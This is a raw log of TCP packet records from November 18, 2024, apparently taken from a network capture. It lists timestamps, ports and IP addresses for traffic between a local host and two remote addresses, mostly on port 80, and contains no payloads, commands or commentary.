Nov 18, 2024 13:29:35.291047096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291053057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291053057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291085005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291115046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291145086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291158915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291169882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291189909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291218042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291225910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291225910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291233063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291244030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291250944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291255951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291269064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291281939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291291952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291291952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291294098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291305065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291323900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291337013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291344881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291344881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291347980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291363001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291546106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291790962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291805029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291853905 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291857004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291871071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291883945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291918993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291939974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.291949034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291986942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.291990042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292052031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292062044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292064905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292078018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292092085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292118073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292118073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292177916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292395115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292488098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292500973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292526960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292526960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292541027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292552948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292566061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292591095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292591095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292617083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292623997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292630911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292643070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292658091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292695045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292695045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292742014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292754889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292769909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292783022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292821884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292829990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292850971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292870045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292881966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292896032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292920113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.292963028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292975903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.292987108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293004990 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293028116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293031931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293031931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293041945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293100119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293100119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293132067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293143988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293170929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293180943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293241024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293253899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293265104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293271065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293277979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293283939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293289900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293296099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293391943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293402910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293423891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293445110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.293510914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293523073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.293766975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.331945896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.331969976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.331983089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.332094908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.332294941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.332308054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.332319975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.332331896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.332343102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.332370996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.332422018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.373564959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.373631001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.373644114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.373740911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.373780966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.374027967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.379280090 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.380120039 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.380188942 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.380377054 CET	443	49822	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.380469084 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.380501986 CET	49822	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.404167891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404206991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404222012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404233932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404246092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404304981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404314995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404314995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404316902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404354095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404429913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404429913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404442072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404453993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404465914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404478073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404489040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404562950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404567003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404575109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404587984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404618979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404618979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404687881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404726028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404777050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404777050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404803991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404818058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404926062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404937029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404942989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.404949903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.404961109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405010939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405010939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405291080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405383110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405416012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405427933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405469894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405469894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405483007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405525923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405525923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405565023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405576944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405589104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405601978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405612946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405652046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405652046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405735016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405747890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405802011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405826092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405838013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405848980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405903101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405903101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.405925989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405940056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.405978918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.406052113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.406076908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.406088114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.406100035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.406111002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.406124115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.406147957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.406147957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.406176090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407202959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407284975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407298088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407310963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407331944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407331944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407356024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407356024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407366991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407413960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407423973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407497883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407507896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407514095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407520056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407537937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407574892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407574892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407708883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407721043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407733917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407746077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407758951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407771111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407783985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407789946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407790899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407795906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407823086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407823086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.407927036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.407938004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408006907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408010006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408021927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408034086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408047915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408060074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408072948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408073902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408073902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408090115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408112049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408127069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408301115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408312082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408318043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408323050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408334017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408344984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408365965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408369064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408382893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408394098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408406973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408411026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408411026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408417940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408432007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408438921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408467054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408487082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408817053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408830881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408843040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408855915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408868074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408879995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408894062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408901930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408901930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408905983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408919096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408919096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408930063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408942938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408956051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.408973932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408973932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.408977985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409024954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409024954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409024954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409213066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409225941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409236908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409276962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409290075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409297943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409311056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409322023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409334898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409348011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409360886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409373045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409379005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409379005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409385920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409410954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409410954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409466982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409801006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409813881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409826994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409837961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409851074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409862041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409873962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409874916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409888029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409900904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.409915924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409915924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.409944057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410063028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410154104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410166025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410223007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410223007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410238028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410250902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410263062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410278082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410291910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410329103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410337925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410340071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410346985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410429001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410435915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410439968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410465956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410505056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410516024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410527945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410541058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410569906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410569906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410598040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410644054 CET	49746	80	192.168.2.8	185.215.113.206
